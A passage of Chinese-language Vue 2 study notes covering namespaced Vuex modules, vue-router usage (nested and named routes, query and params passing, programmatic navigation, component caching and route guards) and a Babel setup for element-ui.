namespaced:true,//开启命名空间
state:{ ... },
mutations: { ... },
actions: { ... }
}
export default new Vuex.Store({
modules: {
// countAbout: countAbout,
// personAbout: personAbout,
// 简写方式
countAbout,
personAbout,
}
})
24.8.2 读取state数据
开启命名空间后,组件中读取state数据
// 方式一:自己直接读取
this.$store.state.personAbout.personList
// 方式二:借助mapState读取
...mapState('countAbout', ['sum','school','subject'])
24.8.3 读取getters数据
开启命名空间后,组件中读取getters数据
// 方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
// 方式二:借助mapGetters读取
...mapGetters('countAbout', ['bigSum'])
24.8.4 调用dispatch
开启命名空间后,组件中调用dispatch
// 方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',personObj)
// 方式二:借助mapActions
...mapActions('countAbout', {incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
24.8.5 调用commit
开启命名空间后,组件中调用commit
// 方式一:自己直接commit
this.$store.commit('personAbout/ADD_PERSON',personObj)
// 方式二:借助mapMutations
...mapMutations('countAbout', {increment:'JIA',decrement:'JIAN'})
二十五、路由Vue-router
1、理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
2、前端路由:key是路径,value是组件。
3、路由分类
- 后端路由
①理解:value是function,用于处理客户端提交的请求。
②工作过程:服务器收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据。
- 前端路由
①理解:value是component,用于展示页面内容。
②工作过程:当浏览器的路径改变时,对应的组件就会显示。
25.1 基本使用
25.1.1 安装vue-router
npm i vue-router@3
注意:vue2中要用vue-router的3版本;vue3中要用vue-router的4版本,如果直接执行npm i vue-router会自动安装vue-router的4版本。
25.1.2 应用插件
Vue.use(VueRouter)
25.1.3 编写router配置项
创建文件:src/router/index.js
//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'
//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
routes:[
{
path:'/about',
component:About
},
{
path:'/home',
component:Home
}
]
})
//暴露router
export default router
25.1.4 实现切换(active-class可配置高亮样式)
<router-link active-class="active" to="/about">About</router-link>
25.1.5 指定展示位置
<router-view></router-view>
25.2 几个注意点
1、路由组件通常存放在 pages 文件夹,一般组件通常存放在 components 文件夹。
2、通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
3、每个组件都有自己的 $route 属性,里面存储着自己的路由信息。
4、整个应用只有一个 router,可以通过组件的 $router 属性获取到。
25.3 嵌套路由(多级路由)
25.3.1 配置路由规则
使用 children 配置项,在src/router/index.js中写:
routes:[
{
path:'/about',
component:About,
},
{
path:'/home',
component:Home,
children:[ //通过children配置子级路由
{
path:'news', //此处一定不要写:/news
component:News
},
{
path:'message',//此处一定不要写:/message
component:Message
}
]
}
]
25.3.2 跳转
在相应的父组件中实现切换与展示
<router-link to="/home/news">News</router-link>
注意:要写完整路径!!!
25.4 路由的query传参
25.4.1 传递参数
<!-- 跳转路由并携带query参数,to的字符串写法 -->
<router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>
<!-- 跳转路由并携带query参数,to的对象写法 -->
<router-link :to="{
path: '/home/message/detail',
query: {
id: m.id,
title: m.title
}
}">
{{m.title}}
</router-link>
25.4.2 接收参数
$route.query.xxx
25.5 命名路由
作用:简化路由的跳转。
25.5.1 给路由命名
{
path: '/demo',
component: Demo,
children: [
{
path: 'test',
component: Test,
children: [
{
name: 'hello', //给路由命名
path: 'welcome',
component: Hello,
}
]
}
]
}
25.5.2 简化跳转
<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>
<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>
25.6 路由的params参数
25.6.1 配置路由
配置路由,声明接收params参数:
{
path:'/home',
component:Home,
children:[
{
path:'news',
component:News
},
{
component:Message,
children:[
{
name:'xiangqing',
path:'detail/:id/:title', //使用占位符声明接收params参数
component:Detail
}
]
}
]
}
25.6.2 传递参数
<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link
:to="{
name:'xiangqing',
params:{
id: m.id,
title: m.title
}
}"
>{{m.title}}</router-link>
注意: 路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!!!
25.6.3 接收参数
$route.params.xxx
25.7 路由的props配置
作用:让路由组件更方便的收到参数。
{
name:'xiangqing',
path:'detail/:id/:title',
component:Detail,
//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
// props:{a:900}
//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
// props:true
//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
props($route){
return {
id: $route.query.id,
title: $route.query.title
}
}
}
25.8 <router-link>的replace属性
1、作用:控制路由跳转时操作浏览器历史记录的模式。
2、浏览器的历史记录的两种写入方式:
- push:追加历史记录。
- replace:替换当前记录。
路由跳转时默认为push。
3、开启replace模式
<router-link replace to="xxx">YYY</router-link>
25.9 编程式路由导航
作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活。
//$router的两个API
this.$router.push({ //一般栈结构,
name:'xiangqing',
params:{
id:xxx,
title:xxx
}
})
this.$router.replace({ //栈结构, 但新的数据,会替换旧的
name:'xiangqing',
params:{
id:xxx,
title:xxx
}
})
this.$router.forward() //前进
this.$router.back() //后退
this.$router.go() //可前进也可后退, 通过传递参数,来控制前进与后退的跳转页数
25.10 缓存路由组件
作用:让不展示的路由组件保持挂载,不被销毁。
<!-- 缓存单个路由组件 -->
<keep-alive include="News">
<!-- include: 添加保持挂载的范围(News),值为'组件名',写成数组形式,可添加多个范围 -->
<router-view></router-view>
</keep-alive>
<!-- 缓存多个路由组件 -->
<keep-alive :include="['News', 'Message']">
<router-view></router-view>
</keep-alive>
25.11 两个新的生命周期钩子
作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
- activated:路由组件被激活时触发。
- deactivated:路由组件失活时触发。
25.12 路由守卫
1、作用:对路由进行权限控制。
2、分类:全局守卫、独享守卫、组件内守卫。
25.12.1 全局守卫
//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
console.log('beforeEach',to,from)
if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
next() //放行
}else{
alert('暂无权限查看')
// next({name:'guanyu'})
}
}else{
next() //放行
}
})
//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
console.log('afterEach',to,from)
if(to.meta.title){
document.title = to.meta.title //修改网页的title
}else{
document.title = 'vue_test'
}
})
后置路由守卫可以用来修改网页的标题。
25.12.2 独享守卫
beforeEnter: (to,from,next) => {
if(to.meta.isAuth) { // 判断是否需要鉴权
if(localStorage.getItem('school') === 'UESTC') {
next()
} else {
alert('学校名不对,无权限查看!')
}
} else {
next()
}
}
25.12.3 组件内守卫
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}
二十六、element-ui
参考网站:组件 | Element
在进行局部引入时,官网给出的代码为:
应该在babel.config,js中写以下代码:
{
"presets": [
'@vue/cli-plugin-babel/preset',
["@babel/preset-env", { "modules": false }]
],
"plugins": [
[
"component",
{
"libraryName": "element-ui",
"styleLibraryName": "theme-chalk"
}
]
]
}